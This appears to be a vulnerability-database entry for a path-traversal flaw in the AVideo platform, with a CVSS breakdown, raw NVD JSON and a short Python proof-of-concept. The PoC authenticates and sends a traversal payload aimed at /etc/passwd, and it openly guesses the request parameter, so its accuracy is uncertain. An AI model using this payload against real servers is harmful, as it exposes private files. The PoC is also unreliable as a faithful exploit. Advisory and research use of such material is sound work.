Security Vulnerability Report
中文
CVE-2026-39369 CVSS 7.6 HIGH

CVE-2026-39369

Published: 2026-04-07 20:16:31
Last Modified: 2026-04-22 18:50:33

Description

WWBN AVideo is an open source video platform. In versions 26.0 and prior, objects/aVideoEncoderReceiveImage.json.php allowed an authenticated uploader to fetch attacker-controlled same-origin /videos/... URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path. The vulnerable GIF branch could be abused to read local files such as /etc/passwd or application source files and republish those bytes through a normal public GIF media URL.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-39369 # Requires low-privileged user credentials target = "http://avideo-target.com" login_url = f"{target}/objects/userLogin.json.php" vuln_url = f"{target}/objects/aVideoEncoderReceiveImage.json.php" # 1. Authenticate as a low-privilege user credentials = {"user": "attacker", "pass": "password"} session = requests.Session() session.post(login_url, data=credentials) # 2. Exploit Path Traversal via aVideoEncoderReceiveImage # The endpoint accepts a path, we use traversal to reach /etc/passwd # Assuming the parameter name is 'file' or 'videoURL' based on common patterns payload = { "videoURL": "/videos/../../../../../etc/passwd", # The path is prepended with /videos/ internally, so we traverse up } response = session.post(vuln_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the returned URL for the GIF containing file contents.") # The server might return a JSON with the path to the generated GIF # e.g. response.json()['url'] print(f"Response: {response.text}") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39369", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:31.320", "lastModified": "2026-04-22T18:50:33.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, objects/aVideoEncoderReceiveImage.json.php allowed an authenticated uploader to fetch attacker-controlled same-origin /videos/... URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path. The vulnerable GIF branch could be abused to read local files such as /etc/passwd or application source files and republish those bytes through a normal public GIF media URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/2375eb5e0a6d3cbcfb05377657d0820a7d470b1d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-f4f9-627c-jh33", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}